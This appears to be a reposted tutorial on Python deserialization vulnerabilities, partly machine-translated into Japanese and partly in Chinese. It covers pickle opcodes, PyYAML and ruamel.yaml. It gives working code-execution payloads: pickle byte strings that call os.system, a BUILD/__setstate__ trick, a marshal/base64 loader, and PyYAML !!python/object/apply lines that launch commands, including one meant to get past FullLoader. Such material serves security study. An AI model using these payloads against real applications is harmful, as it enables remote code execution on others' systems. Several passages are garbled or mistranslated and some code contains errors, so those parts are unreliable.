ホームページ  >  記事  >  バックエンド開発  >  Python の逆シリアル化を理解する

Python の逆シリアル化を理解する

WBOY
WBOY転載
2022-03-28 12:12:172585ブラウズ

この記事では、python に関する関連知識を提供し、主に逆シリアル化に関する関連問題を紹介します。逆シリアル化: pickle.loads() は文字列を逆シリアル化します。オブジェクトの場合、 pickle.load() はファイルからデータを読み取り、それを逆シリアル化します. 皆様のお役に立てれば幸いです。

Python の逆シリアル化を理解する

推奨される学習: python チュートリアル

Python デシリアライゼーションの脆弱性

Pickle

  • シリアル化: pickle.dumps() オブジェクトを文字列にシリアル化します。 pickle.dump() オブジェクトのシリアル化された文字列をファイルとして保存します
  • 逆シリアル化: pickle.loads() 文字列をオブジェクトに逆シリアル化します。 pickle.load() ファイルから読み取ったデータを逆シリアル化します

dumps() を使用する場合 および loads() では、protocol パラメーターを使用してプロトコルのバージョンを指定できます

protocol バージョンは 0、1、2、3、4 です。 、および 5. Python のバージョンが異なれば、デフォルトのプロトコルのバージョンも異なります。これらのバージョンの中で、No. 0 が最も読みやすいです。後のバージョンでは、最適化のために印刷不可能な文字が追加されました。プロトコル

には下位互換性があります。バージョン No. 0 を直接使用することもできます。

シリアル化可能なオブジェクト

  • NoneTrue、および False
  • 整数、浮動小数点ポイント番号、複素数
  • str、byte、bytearray
  • タプル、リスト、セット、dictなど、シールできるオブジェクトのコレクションのみが含まれます
  • で定義されています。モジュールの最外部 層関数 (def を使用して定義、ラムダ関数は使用できません)
  • モジュールの最外部層で定義された組み込み関数
  • モジュールの最外部クラスで定義
  • __dict__ __getstate__() 関数の属性値または戻り値はシリアル化できます (詳細については、公式ドキュメントの「Pickle Class Instances」を参照してください)

# 逆シリアル化プロセス #pickle.load() メソッドと pickle.loads() メソッドの基礎となる実装は、逆シリアル化する _Unpickler() メソッドに基づいています

逆シリアル化プロセスでは、

_Unpickler

(以降、マシンと呼びます) はスタック領域とストレージ領域の 2 つを維持します。これを調べるには、 debugger

pickletools

[外部リンク画像の転送に失敗しました。ソース サイトにはリーチ防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-wUDq6S9E-1642832623478) (C:\Users\Administrator\AppData\Roaming\Typora\typora -user-images\image-20220121114238511.png)]

画像からわかるように、シリアル化された文字列は実際には PVM の文字列です。 (Pickle Virtual Machine) 命令コード 命令コードはスタックに基づいています 正式なストレージと解析

PVM 命令セット

完全な PVM 命令セットは、次の場所で確認できます。

pickletools.py

. 異なるプロトコル バージョンで使用される命令セット わずかに異なります 上の図の命令コードは次のように変換できます:

    0: \x80 PROTO      3  # 协议版本
    2: ]    EMPTY_LIST  # 将空列表推入栈
    3: (    MARK  # 将标志推入栈
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表
   23: .    STOP  # 弹出栈中数据,结束
highest protocol among opcodes = 2

いくつかの重要な命令があります命令セット内のコード:

GLOBAL = b'c ' # 改行で終わる 2 つの文字列をスタックにプッシュします。最初の文字列はモジュール名、2 番目の文字列はクラス名です。グローバル変数
    xxx.xxx
  • の値は REDUCE = b'R' # 呼び出し可能なタプルとパラメータ タプルによって生成されたオブジェクトをスタックにプッシュします。つまり、
  • __reduce()
  • によって返される最初の値は実行可能関数として使用され、2 番目の値はパラメータ、実行関数 BUILD = b'b' # を通じてオブジェクトの構築を完了します。オブジェクトに
  • __setstate__
  • メソッドがある場合は __setstate__ または更新 __dict__、メソッドがない場合は anyobject .__setstate__(parameter); を呼び出します。 __setstate__ メソッドでは、anyobject.__dict__.update(argument)(更新が可能です。変数カバレッジが生成されます)STOP = b '.' # End
  • より複雑な例:
import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 将空元组推入栈
   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
   22: }    EMPTY_DICT  # 将空字典推入栈
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中
   88: b    BUILD  # 更新字典完成构建
   89: .    STOP
highest protocol among opcodes = 2

共通関数実行

関数に関連する PVM 命令セットは 3 つあります。実行:

#R

io なので、3 つのコンストラクトから一方向に開始できます:

R

<pre class="brush:php;toolbar:false">b'''cos system (S'whoami' tR.'''</pre>

i

<pre class="brush:php;toolbar:false">b'''(S'whoami' ios system .'''</pre>

o

<pre class="brush:php;toolbar:false">b'''(cos system S'whoami' o.'''</pre>

__reduce()__ コマンド実行##__recude()__

マジック関数はデシリアライズ処理で終了します。自動的に呼び出され、タプルを返します。このうち、最初の要素は呼び出し可能オブジェクトであり、オブジェクトの初期バージョンの作成時に呼び出されます。2 番目の要素は呼び出し可能オブジェクトのパラメータであり、逆シリアル化中に RCE 脆弱性を引き起こす可能性があります

#__reduce()__

をトリガーする命令コードは「R
, **シリアル化される文字列に

#R 命令が存在する限り、**」です。 reduce メソッドは、通常のプログラムで reduce` メソッドが指定されているかどうかに関係なく実行されます。 ##pickle は逆シリアル化中に 未導入のモジュールを自動的にインポートします。そのため、Python 標準ライブラリのすべてのコード実行およびコマンド実行関数を使用できますが、ペイロードを生成する Python バージョンは、ターゲット

## と一致している必要があります。 ####例:###
class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2

将该字符串反序列化后将会执行命令 os.system('whoami')

全局变量覆盖

__reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')

在不知道 secret.a 的情况下要如何获得 flag 呢?

先尝试获得 flag() 的序列化字符串:

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2

可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:

test1 = 'test1'test2 = 'test2'class A:
   def __reduce(self):
       retutn exec, "test1='asd'\ntest2='qwe'"

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法,我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用'whoami'来再次BUILD这个对象,则会执行setstate('whoami'),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

例:

代码中存在一个任意类:

class payload:
    def __init__(self):
        pass

根据这个类构造 PVM 指令:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD,先放入一个字典
   22: (    MARK  # 放值前先放一个标志
   23: V        UNICODE    '__setstate__'  # 放键值对
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加参数
   58: b    BUILD  # 第二次BUILD
   59: .    STOP

将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_ 调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types动态创建匿名函数并执行

pickle 上使用:

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串转换为 bytes

漏洞出现位置

  • 解析认证 token、session 时
  • 将对象 pickle 后存储在磁盘文件
  • 将对象 pickle 后在网络中传输
  • 参数传递给程序

PyYAML

yaml 是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存),PyYAML 就是 yaml 的 python 实现

在使用 PyYAML 库时,若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件,则会导致反序列化漏洞的产生

原理

PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

例如:

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

该代码执行后,会生成 sample.yml ,并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件:

import yaml
yaml.load(file('sample.yml', 'w'))

Python の逆シリアル化を理解する

命令成功执行。但是命令的执行依赖于 Test.py 的存在,因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象(类)。如果删除 Test.py ,也将运行失败

Payload

PyYAML

想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

利用这两个标签,就可以构造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load() 方法时,需要加上 loader 参数,直接使用时会爆出安全警告

loader的四种类型:

  • BaseLoader:仅加载最基本的YAML
  • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput() 方法绕过检测:

!!python/object/apply:subprocess.getoutput
- whoami

Python の逆シリアル化を理解する

在最新版本上,命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

推荐学习:python学习教程

以上がPython の逆シリアル化を理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。